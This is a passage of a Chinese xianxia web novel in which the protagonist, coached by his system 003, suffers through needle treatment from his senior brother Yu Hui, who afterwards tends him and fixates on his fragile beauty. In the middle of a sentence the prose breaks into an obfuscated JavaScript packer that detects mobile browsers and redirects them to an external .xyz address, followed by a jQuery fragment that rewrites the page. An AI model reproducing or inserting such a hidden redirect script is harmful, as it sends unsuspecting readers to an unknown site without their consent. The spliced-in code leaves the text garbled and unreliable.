再忍忍,他已经进去一根了,再有六根就结束了!】
【多少?】舟行晚不可置信,【几次?你说他要刺几次?】
003自觉失言,又哄道:【没关系的宿主,他已经在拿第二根针了,你离脱离苦海又近了一步!】
【……】舟行晚从没听过这样式的安慰方法,他向来怕痛,这回不敢睁眼就不知道玉秽落针的地方在哪里,现在一听003说他已经拿起第二根针,只觉得全身没有一个地方不是痛的。
他又骂了一句:【我操他爹!】
【都给你操都给你操。】003声音着急,【我现在就去找他爹的资料,宿主没关系的,等你伤好了我们去给他爹下蒙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769186|157811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汗药,一定让你报仇雪恨!】
舟行晚:?
他是这个意思吗?
他很想连带着把003再骂一遍,然而埋针的痛感实在太过浓烈,第一针的时候他还能强撑着一口气跟003贫上几句,从第二针开始,舟行晚只觉得他的灵肉都开始分离。模模糊糊的意识混杂着大量痛楚不知从身体的哪个地方钻到哪个地方,他根本无法形容那是什么感觉,对外的所有感知都只剩下一个“痛”字。
一连七针,玉秽毫不留手,舟行晚意识混沌不清,他面容惨白,双唇无色,出的汗将他的衣发以及身下的被褥一并浸湿,身体也止不住地轻颤发抖,活像一块遭人凌虐过后又被丢弃的破败玩偶。
玉秽见他此状,没耐住叹了口气,然后对旁边的元慎嘱咐:“去帮我打一桶水来。”
元慎莫名其妙:“师伯要干什么?”
“帮你师父擦洗一下。”玉秽缓缓坐到床沿,说,“不然总不能真的放着不管,任他自生自灭吧。”
元慎皱眉道:“师伯心善是好,只是他惯会装模作样,师伯小心不要被他骗了。”
“他这样子,还能骗我到哪里去?”玉秽笑着应他,“放心吧,你去就是了,我知道分寸。”
元慎最终还是走了,房间里便只剩了玉秽跟舟行晚两个。玉秽转过脸细细看着床上呼吸清浅的人,而后动作轻柔地将舟行晚头上被汗水打湿贴在额头的碎发往后勾去,好让他不要被黏得这么难受。
他的视线在舟行晚脸上游走,从闭上也紧紧皱着的可怜的眼睛到沾了薄汗的挺直的鼻梁,再往下到那张看不见丁点血色的唇珠饱满的嘴,仗着床上的人昏迷不醒,玉秽肆无忌惮地打量着自己这个狠毒阴险的师弟,心里却不合时宜地闪过一个念头——真漂亮。
漂亮,很难用于形容男人,说实话舟行晚的脸部线条并不柔和,而是一眼能辨雌雄的那种英朗,但玉秽就是觉得“好看”或“俊俏”这样的词汇还不足以用来表现他现在的模样,非要挑选出一个拿来形容他,那只能是“漂亮”。
让人想要将他捧在手里,欣赏是如何被破坏得零碎不堪的那种凄艳的漂亮。
一滴热